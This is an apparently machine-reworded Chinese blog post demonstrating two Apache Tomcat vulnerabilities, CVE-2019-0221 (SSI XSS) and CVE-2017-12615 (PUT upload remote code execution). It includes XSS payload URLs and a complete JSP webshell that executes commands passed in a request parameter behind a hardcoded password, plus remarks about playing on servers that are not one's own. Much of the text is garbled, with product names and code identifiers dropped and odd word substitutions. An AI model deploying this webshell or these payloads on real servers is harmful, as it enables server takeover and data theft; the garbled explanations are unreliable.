我成功功击了Tomcat服务器,大鳄们的反应亮了

极速动力2年前帮助275

是一个开源的轻量级Web应用服务器,在我们平时工作过程中接触得十分多。代码也十分精典,好多人为了提高自己的技术也会去阅读学习的源码。但正如知名作家李白所说的:世界上本没有漏洞,使用的人多了,也就发觉了漏洞。例如去年的2月份就曝出了存在文件包含漏洞

明天我们选择两个比较直观的漏洞去模拟整个漏洞被功击的过程,以及漏洞为何会形成,前辈们又是怎样应对的。

攻击一:XSS功击】一、SSI技术说明

首先演示的漏洞和的SSI功能有关,SSI是哪些

SSI技术,也叫作ServeSide,SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,而毋须通过cgi程序或其他动态技术来提供整个页面。使用SSI技术文件默认的后缀名为.shtml;

举例:我们可以将指令放置到现有的HTML页面中,比如:

!--#echo var="DATE_LOCAL" -->

当该页面被执行时,将会显示如下结果

Sunday, 22-March-2020 18:28:54 GMT

SSI最常见用途之一:输出CGI程序的结果,比如``命中计数器''。关于该技术更为详尽的说明参见

二、为开启SSI打算好JRE、环境,我选择的是“--9.0.10”(该漏洞受影响的版本有:9.0.0.M1to9.0.0.17,8.5.0to8.5.39and7.0.0to7.0.93)更改conf/.xml第19行,开启权限


更改conf\web.xml,开启SSI。该段代码默认是被注释掉的,我们删掉注释即可,代码在310-322行。


        ssi
        
          org.apache.catalina.ssi.SSIServlet
        
        
          buffered
          1
        
        
          debug
          0
        
        
          expires
          666
        
        
          isVirtualWebappRelative
          false
        
        4
    

除去关于ssi配置的注释422-425行

  
        ssi
        *.shtml
    

根目录下添加.shtml(习惯性命名为.shtml)文件,坐落/ROOT/ssi/


Echo: 

Env:

启动即可三、发起功击我们输入以下url看下疗效

http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E

2.XSS注入

http://localhost:8080/ssi/madashu_env.shtml?%3CscrIPt%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E

功击成功,页面展示如下。

通过这些方法我们使用户加载并执行功击者恶意制造的网页程序,功击者还可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和等各类内容。

四、源码剖析

漏洞形成后,前辈们迅速修补了该漏洞,我们从上找到当时的代码修补递交记录点击查看

说真的,当时听到这段修补代码我是吓坏了,这是哪些骚操作!!!“”又是哪些鬼!!!

于是接下往下翻代码:

这个地方将我们输入的变量值直接输出到了网页,很显著刚才的应当是进行了转码。我们找到.java文件,路径org...ssi.

这样我们一下子就明白过来了,当发觉是“”编码,会将输入的内容进行,因而避开了XSS。恐怕前辈们当时也是紧急出了个版本,直接把参数写死成“”。还有作为web服务器,前辈们居然也会犯如此低级别的错误,所以这也解释了为何不存在0Bug的系统,哈哈!去翻看最新的.java文件,早已把“”定义成常量了,这才专业嘛!

【攻击二:远程代码执行】

接出来再简单演示下远程代码执行漏洞,该漏洞为高危漏洞,就算是非默认配置,并且一旦存在漏洞,这么功击者可以成功上传,并控制服务器。

通过put形式上传文件,恳请进行中时进行拦截:生成恶意文件,起名叫.jsp

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
"+excuteCmd(request.getParameter("cmd"))+"

");}else{out.(":-)");}%>

远程上传成功,接出来就可以愉快地在这个不属于我们自己的里嬉戏了整个代码也是比较简单的,可以翻看.java,这儿就不做演示了。

说明:该漏洞影响范围十分广,从5.x到9.x全部中枪。最好的解决方法是将conf/web.xml中对于的设置为true。结语

兴趣是最好的老师,我们通过去看大鳄们掉过的坑,写过的代码,站在巨人的右臂人可以更快速地提高自己。

有兴趣的男子伴可以去瞧瞧已曝出的漏洞:本次演示的两个漏洞分别是CVE-2019-0221,CVE-2017-12615。

相关文章

搭建一个自己的本地大型服务器

小后端第一讲: 因为受到某位高手第启发,决定每晚晚上抽10分钟的时间写一篇草稿(自动掩面) 明天中午饭喝水的时侯,在想,明天要写点哪些呢?第三天勒,要不要放绝技(自己什哪些逼水平自己不晓得吗?),仔细...